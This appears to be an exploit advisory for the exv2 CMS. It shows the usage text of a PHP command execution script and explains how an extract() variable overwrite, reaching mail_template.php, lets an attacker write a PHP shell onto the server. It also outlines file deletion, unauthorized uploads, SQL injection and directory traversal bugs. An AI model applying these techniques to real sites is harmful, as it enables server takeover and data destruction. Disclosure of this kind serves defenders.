Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la -p81

  i) vulnerable code in include/common.php :

...
// ################# :: Register Globals Compatibility :: #################
	$globals_test = @ini_get('register_globals');
	if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
	// These still need some work :: Cookie|Server|Env are ok now.
		if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
		if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
		define('_GLOBALS', FALSE);
	} else {
		define('_GLOBALS', TRUE);
	}
...

if register_globals = off you can overwrite every var on target server
found this exploitation method:

some lines after this code we have:

...
// ################ Include page-specific lang file ################
// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
	if ( isset($xoopsOption['pagetype']) ) {
		if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
			include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
		} else {
			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
		}
	}
...

so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
where we have:

...
	$code=stripslashes(isset($code) ? $code : "");
	if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
		$code=str_replace("&lt;","<",$code);
		$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
		fputs ($fp,$code);
		fclose($fp);
		header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
        exit();
	}
...

now we can save our shell code in a php file...

also, if register_globals = On you can call directly the mail_template.php script
to do the same stuff

through the extract() bug is also possibile to delete recursively all sites content
including the /modules/system/admin/design/include/conf_theme.php script
and to upload images without authorization in /images/library folder including
the image manager script and setting some vars

ii) an sql injection issue, poc:
http://retrogod.altervista.org/exv2_2043_sql.html

iii)
registered user can delete an arbitrary file on target server through
avatar upload features, because of a directory traversal in old_avatar
argument, passed to an unlink()

this is the poc for i)
